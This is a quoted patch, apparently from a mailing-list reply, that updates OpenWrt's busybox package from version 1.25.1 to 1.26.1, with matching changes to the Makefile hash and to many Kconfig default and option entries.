>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
> +config BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_FTPD_ACCEPT_BROKEN_LIST
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
> +config BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FTPGET
> @@ -2083,6 +2071,9 @@ config BUSYBOX_DEFAULT_FEATURE_FTPGETPUT_LONG_OPTIONS
>   config BUSYBOX_DEFAULT_HOSTNAME
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_DNSDOMAINNAME
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_HTTPD
>   	bool
>   	default n
> @@ -2143,19 +2134,16 @@ config BUSYBOX_DEFAULT_IFENSLAVE
>   config BUSYBOX_DEFAULT_IFPLUGD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IFUPDOWN
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
> -	string
> -	default ""
> -config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
> +config BUSYBOX_DEFAULT_IFUP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
> +config BUSYBOX_DEFAULT_IFDOWN
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
> +config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
> +	string
> +	default ""
> +config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
> @@ -2194,6 +2182,24 @@ config BUSYBOX_DEFAULT_FEATURE_INETD_RPC
>   config BUSYBOX_DEFAULT_IP
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_IPADDR
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPLINK
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPROUTE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPTUNNEL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPRULE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_IPNEIGH
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
>   	bool
>   	default y
> @@ -2215,37 +2221,40 @@ config BUSYBOX_DEFAULT_FEATURE_IP_RULE
>   config BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
> +config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
> +config BUSYBOX_DEFAULT_IPCALC
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPADDR
> +config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPLINK
> +config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPROUTE
> +config BUSYBOX_DEFAULT_FAKEIDENTD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPTUNNEL
> +config BUSYBOX_DEFAULT_NAMEIF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPRULE
> +config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPNEIGH
> +config BUSYBOX_DEFAULT_NBDCLIENT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPCALC
> +config BUSYBOX_DEFAULT_NC
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_NC_SERVER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
> +config BUSYBOX_DEFAULT_NC_EXTRA
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_NC_110_COMPAT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_NETMSG
> @@ -2272,6 +2281,15 @@ config BUSYBOX_DEFAULT_FEATURE_NTPD_SERVER
>   config BUSYBOX_DEFAULT_FEATURE_NTPD_CONF
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_PING
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_PING6
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_PSCAN
>   	bool
>   	default n
> @@ -2284,6 +2302,9 @@ config BUSYBOX_DEFAULT_SLATTACH
>   config BUSYBOX_DEFAULT_TCPSVD
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_UDPSVD
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TELNET
>   	bool
>   	default n
> @@ -2332,9 +2353,6 @@ config BUSYBOX_DEFAULT_TRACEROUTE6
>   config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
>   	bool
>   	default n
> @@ -2344,6 +2362,36 @@ config BUSYBOX_DEFAULT_TUNCTL
>   config BUSYBOX_DEFAULT_FEATURE_TUNCTL_UG
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_VCONFIG
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_WGET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_WHOIS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ZCIP
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UDHCPC6
>   	bool
>   	default n
> @@ -2395,15 +2443,6 @@ config BUSYBOX_DEFAULT_UDHCPC_SLACK_FOR_BUGGY_SERVERS
>   config BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
>   	string
>   	default ""
> -config BUSYBOX_DEFAULT_UDPSVD
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_VCONFIG
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ZCIP
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_LPD
>   	bool
>   	default n
> @@ -2416,9 +2455,6 @@ config BUSYBOX_DEFAULT_LPQ
>   config BUSYBOX_DEFAULT_MAKEMIME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> -	string
> -	default ""
>   config BUSYBOX_DEFAULT_POPMAILDIR
>   	bool
>   	default n
> @@ -2434,120 +2470,123 @@ config BUSYBOX_DEFAULT_FEATURE_REFORMIME_COMPAT
>   config BUSYBOX_DEFAULT_SENDMAIL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IOSTAT
> +config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
> +	string
> +	default ""
> +config BUSYBOX_DEFAULT_FREE
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_LSOF
> +	default y
> +config BUSYBOX_DEFAULT_FUSER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MPSTAT
> +config BUSYBOX_DEFAULT_IOSTAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NMETER
> +config BUSYBOX_DEFAULT_KILL
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_PMAP
> +	default y
> +config BUSYBOX_DEFAULT_KILLALL
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_POWERTOP
> +	default y
> +config BUSYBOX_DEFAULT_KILLALL5
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PSTREE
> +config BUSYBOX_DEFAULT_LSOF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PWDX
> +config BUSYBOX_DEFAULT_MPSTAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SMEMCAP
> +config BUSYBOX_DEFAULT_NMETER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TOP
> +config BUSYBOX_DEFAULT_PGREP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +config BUSYBOX_DEFAULT_PKILL
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	default n
> +config BUSYBOX_DEFAULT_PIDOF
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
> +config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
> +config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
> +config BUSYBOX_DEFAULT_PMAP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_TOPMEM
> +config BUSYBOX_DEFAULT_POWERTOP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UPTIME
> +config BUSYBOX_DEFAULT_PS
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FREE
> +config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FUSER
> +config BUSYBOX_DEFAULT_FEATURE_PS_LONG
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_KILL
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_KILLALL
> +config BUSYBOX_DEFAULT_FEATURE_PS_TIME
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_KILLALL5
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PGREP
> +config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_PIDOF
> +	default n
> +config BUSYBOX_DEFAULT_PSTREE
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
> +	default n
> +config BUSYBOX_DEFAULT_PWDX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
> +config BUSYBOX_DEFAULT_RENICE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PKILL
> +config BUSYBOX_DEFAULT_SMEMCAP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PS
> +config BUSYBOX_DEFAULT_BB_SYSCTL
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
> +config BUSYBOX_DEFAULT_TOP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_PS_LONG
> +config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_PS_TIME
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
> +config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
> +config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RENICE
> +config BUSYBOX_DEFAULT_FEATURE_TOPMEM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BB_SYSCTL
> +config BUSYBOX_DEFAULT_UPTIME
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> +config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_WATCH
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_CHPST
>   	bool
>   	default n
> @@ -2578,6 +2617,9 @@ config BUSYBOX_DEFAULT_SV
>   config BUSYBOX_DEFAULT_SV_DEFAULT_SERVICE_DIR
>   	string
>   	default ""
> +config BUSYBOX_DEFAULT_SVC
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_SVLOGD
>   	bool
>   	default n
> @@ -2599,9 +2641,6 @@ config BUSYBOX_DEFAULT_LOAD_POLICY
>   config BUSYBOX_DEFAULT_MATCHPATHCON
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RESTORECON
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_RUNCON
>   	bool
>   	default n
> @@ -2611,6 +2650,9 @@ config BUSYBOX_DEFAULT_FEATURE_RUNCON_LONG_OPTIONS
>   config BUSYBOX_DEFAULT_SELINUXENABLED
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SESTATUS
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_SETENFORCE
>   	bool
>   	default n
> @@ -2620,15 +2662,45 @@ config BUSYBOX_DEFAULT_SETFILES
>   config BUSYBOX_DEFAULT_FEATURE_SETFILES_CHECK_OPTION
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_RESTORECON
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_SETSEBOOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SESTATUS
> +config BUSYBOX_DEFAULT_SH_IS_ASH
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_SH_IS_HUSH
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SH_IS_NONE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_BASH_IS_ASH
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_BASH_IS_HUSH
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_BASH_IS_NONE
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_ASH
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_ASH_BASH_COMPAT
>   	bool
>   	default y
> @@ -2662,15 +2734,6 @@ config BUSYBOX_DEFAULT_ASH_CMDCMD
>   config BUSYBOX_DEFAULT_ASH_MAIL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_CTTYHACK
>   	bool
>   	default n
> @@ -2725,30 +2788,12 @@ config BUSYBOX_DEFAULT_HUSH_MODE_X
>   config BUSYBOX_DEFAULT_MSH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_SH_IS_ASH
> +config BUSYBOX_DEFAULT_FEATURE_SH_MATH
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_SH_IS_HUSH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_SH_IS_NONE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_BASH_IS_ASH
> +config BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_BASH_IS_HUSH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_BASH_IS_NONE
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_SH_MATH_SUPPORT
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
>   	bool
>   	default n
> diff --git a/package/utils/busybox/Makefile b/package/utils/busybox/Makefile
> index c27f1fc..6b78230 100644
> --- a/package/utils/busybox/Makefile
> +++ b/package/utils/busybox/Makefile
> @@ -8,14 +8,14 @@
>   include $(TOPDIR)/rules.mk
>   
>   PKG_NAME:=busybox
> -PKG_VERSION:=1.25.1
> -PKG_RELEASE:=2
> +PKG_VERSION:=1.26.1
> +PKG_RELEASE:=1
>   PKG_FLAGS:=essential
>   
>   PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2
>   PKG_SOURCE_URL:=https://www.busybox.net/downloads \
>   		http://sources.buildroot.net
> -PKG_HASH:=27667e0f2328fdbd79cfd622e4453e5c57e58f781c5da97c9be337d93aa2a02e
> +PKG_HASH:=0fbbe487fa35cc3258749cf79c259578c1a221013cc4fb60d6a3542590f781f2
>   
>   PKG_BUILD_DEPENDS:=BUSYBOX_USE_LIBRPC:librpc BUSYBOX_CONFIG_PAM:libpam
>   PKG_BUILD_PARALLEL:=1
> diff --git a/package/utils/busybox/config/Config.in b/package/utils/busybox/config/Config.in
> index 3bf67c5..352a0f0 100644
> --- a/package/utils/busybox/config/Config.in
> +++ b/package/utils/busybox/config/Config.in
> @@ -10,15 +10,18 @@ config BUSYBOX_CONFIG_HAVE_DOT_CONFIG
>   
>   menu "Busybox Settings"
>   
> -menu "General Configuration"
> -
>   config BUSYBOX_CONFIG_DESKTOP
>   	bool "Enable options for full-blown desktop systems"
>   	default BUSYBOX_DEFAULT_DESKTOP
>   	help
>   	  Enable options and features which are not essential.
> -	  Select this only if you plan to use busybox on full-blown
> -	  desktop machine with common Linux distro, not on an embedded box.
> +	  Select this if you plan to use busybox on full-blown desktop machine
> +	  with common Linux distro, which needs higher level of command-line
> +	  compatibility.
> +
> +	  If you are preparing your build to be used on an embedded box
> +	  where you have tighter control over the entire set of userspace
> +	  tools, you can unselect this option for smaller code size.
>   
>   config BUSYBOX_CONFIG_EXTRA_COMPAT
>   	bool "Provide compatible behavior for rare corner cases (bigger code)"
> @@ -57,30 +60,6 @@ config BUSYBOX_CONFIG_PLATFORM_LINUX
>   	  Answering 'N' here will disable such applets and hide the
>   	  corresponding configuration options.
>   
> -choice
> -	prompt "Buffer allocation policy"
> -	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> -	help
> -	  There are 3 ways BusyBox can handle buffer allocations:
> -	  - Use malloc. This costs code size for the call to xmalloc.
> -	  - Put them on stack. For some very small machines with limited stack
> -	    space, this can be deadly. For most folks, this works just fine.
> -	  - Put them in BSS. This works beautifully for computers with a real
> -	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
> -	    behavior was the only one available for BusyBox versions 0.48 and
> -	    earlier.
> -
> -config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
> -	bool "Allocate with Malloc"
> -
> -config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> -	bool "Allocate on the Stack"
> -
> -config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
> -	bool "Allocate in the .bss section"
> -
> -endchoice
> -
>   config BUSYBOX_CONFIG_SHOW_USAGE
>   	bool "Show applet usage messages"
>   	default BUSYBOX_DEFAULT_SHOW_USAGE
> @@ -143,131 +122,6 @@ config BUSYBOX_CONFIG_INSTALL_NO_USR
>   	  will install applets only to /bin and /sbin,
>   	  never to /usr/bin or /usr/sbin.
>   
> -config BUSYBOX_CONFIG_LOCALE_SUPPORT
> -	bool "Enable locale support (system needs locale for this to work)"
> -	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
> -	help
> -	  Enable this if your system has locale support and you would like
> -	  busybox to support locale settings.
> -
> -config BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	bool "Support Unicode"
> -	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
> -	help
> -	  This makes various applets aware that one byte is not
> -	  one character on screen.
> -
> -	  Busybox aims to eventually work correctly with Unicode displays.
> -	  Any older encodings are not guaranteed to work.
> -	  Probably by the time when busybox will be fully Unicode-clean,
> -	  other encodings will be mainly of historic interest.
> -
> -config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> -	bool "Use libc routines for Unicode (else uses internal ones)"
> -	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
> -	help
> -	  With this option on, Unicode support is implemented using libc
> -	  routines. Otherwise, internal implementation is used.
> -	  Internal implementation is smaller.
> -
> -config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
> -	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
> -	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> -	help
> -	  With this option on, Unicode support is activated
> -	  only if locale-related variables have the value of the form
> -	  "xxxx.utf8"
> -
> -	  Otherwise, Unicode support will be always enabled and active.
> -
> -config BUSYBOX_CONFIG_SUBST_WCHAR
> -	int "Character code to substitute unprintable characters with"
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	default BUSYBOX_DEFAULT_SUBST_WCHAR
> -	help
> -	  Typical values are 63 for '?' (works with any output device),
> -	  30 for ASCII substitute control code,
> -	  65533 (0xfffd) for Unicode replacement character.
> -
> -config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
> -	int "Range of supported Unicode characters"
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> -	help
> -	  Any character with Unicode value bigger than this is assumed
> -	  to be non-printable on output device. Many applets replace
> -	  such chars with substitution character.
> -
> -	  The idea is that many valid printable Unicode chars are
> -	  nevertheless are not displayed correctly. Think about
> -	  combining charachers, double-wide hieroglyphs, obscure
> -	  characters in dozens of ancient scripts...
> -	  Many terminals, terminal emulators, xterms etc will fail
> -	  to handle them correctly. Choose the smallest value
> -	  which suits your needs.
> -
> -	  Typical values are:
> -	  126 - ASCII only
> -	  767 (0x2ff) - there are no combining chars in [0..767] range
> -			(the range includes Latin 1, Latin Ext. A and B),
> -			code is ~700 bytes smaller for this case.
> -	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
> -			code is ~300 bytes smaller for this case.
> -	  12799 (0x31ff) - nearly all non-ideographic characters are
> -			available in [0..12799] range, including
> -			East Asian scripts like katakana, hiragana, hangul,
> -			bopomofo...
> -	  0 - off, any valid printable Unicode character will be printed.
> -
> -config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
> -	bool "Allow zero-width Unicode characters on output"
> -	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	help
> -	  With this option off, any Unicode char with width of 0
> -	  is substituted on output.
> -
> -config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
> -	bool "Allow wide Unicode characters on output"
> -	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	help
> -	  With this option off, any Unicode char with width > 1
> -	  is substituted on output.
> -
> -config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> -	bool "Bidirectional character-aware line input"
> -	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> -	help
> -	  With this option on, right-to-left Unicode characters
> -	  are treated differently on input (e.g. cursor movement).
> -
> -config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
> -	bool "In bidi input, support non-ASCII neutral chars too"
> -	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> -	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
> -	help
> -	  In most cases it's enough to treat only ASCII non-letters
> -	  (i.e. punctuation, numbers and space) as characters
> -	  with neutral directionality.
> -	  With this option on, more extensive (and bigger) table
> -	  of neutral chars will be used.
> -
> -config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
> -	bool "Make it possible to enter sequences of chars which are not Unicode"
> -	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> -	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> -	help
> -	  With this option on, on line-editing input (such as used by shells)
> -	  invalid UTF-8 bytes are not substituted with the selected
> -	  substitution character.
> -	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
> -	  at shell prompt will list file named 0xff (single char name
> -	  with char value 255), not file named '?'.
> -
>   config BUSYBOX_CONFIG_PAM
>   	bool "Support for PAM (Pluggable Authentication Modules)"
>   	default BUSYBOX_DEFAULT_PAM
> @@ -275,19 +129,6 @@ config BUSYBOX_CONFIG_PAM
>   	  Use PAM in some busybox applets (currently login and httpd) instead
>   	  of direct access to password database.
>   
> -config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
> -	bool "Use sendfile system call"
> -	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  When enabled, busybox will use the kernel sendfile() function
> -	  instead of read/write loops to copy data between file descriptors
> -	  (for example, cp command does this a lot).
> -	  If sendfile() doesn't work, copying code falls back to read/write
> -	  loop. sendfile() was originally implemented for faster I/O
> -	  from files to sockets, but since Linux 2.6.33 it was extended
> -	  to work for many more file types.
> -
>   config BUSYBOX_CONFIG_LONG_OPTS
>   	bool "Support for --long-options"
>   	default BUSYBOX_DEFAULT_LONG_OPTS
> @@ -496,9 +337,7 @@ config BUSYBOX_CONFIG_FEATURE_HAVE_RPC
>   	#  This is automatically selected if any of enabled applets need it.
>   	#  You do not need to select it manually.
>   
> -endmenu
> -
> -menu 'Build Options'
> +comment 'Build Options'
>   
>   config BUSYBOX_CONFIG_STATIC
>   	bool "Build BusyBox as a static binary (no shared libs)"
> @@ -673,9 +512,73 @@ config BUSYBOX_CONFIG_EXTRA_LDLIBS
>   	help
>   	  Additional LDLIBS to pass to the linker with -l.
>   
> -endmenu
> +comment 'Installation Options ("make install" behavior)'
> +
> +choice
> +	prompt "What kind of applet links to install"
> +	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> +	help
> +	  Choose what kind of links to applets are created by "make install".
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
> +	bool "as soft-links"
> +	help
> +	  Install applets as soft-links to the busybox binary. This needs some
> +	  free inodes on the filesystem, but might help with filesystem
> +	  generators that can't cope with hard-links.
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
> +	bool "as hard-links"
> +	help
> +	  Install applets as hard-links to the busybox binary. This might
> +	  count on a filesystem with few inodes.
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> +	bool "as script wrappers"
> +	help
> +	  Install applets as script wrappers that call the busybox binary.
> +
> +config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
> +	bool "not installed"
> +	help
> +	  Do not install applet links. Useful when you plan to use
> +	  busybox --install for installing links, or plan to use
> +	  a standalone shell and thus don't need applet links.
> +
> +endchoice
> +
> +choice
> +	prompt "/bin/sh applet link"
> +	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> +	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
> +	help
> +	  Choose how you install /bin/sh applet link.
> +
> +config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
> +	bool "as soft-link"
> +	help
> +	  Install /bin/sh applet as soft-link to the busybox binary.
> +
> +config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
> +	bool "as hard-link"
> +	help
> +	  Install /bin/sh applet as hard-link to the busybox binary.
> +
> +config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> +	bool "as script wrapper"
> +	help
> +	  Install /bin/sh applet as script wrapper that calls
> +	  the busybox binary.
> +
> +endchoice
>   
> -menu 'Debugging Options'
> +config BUSYBOX_CONFIG_PREFIX
> +	string "BusyBox installation prefix"
> +	default BUSYBOX_DEFAULT_PREFIX
> +	help
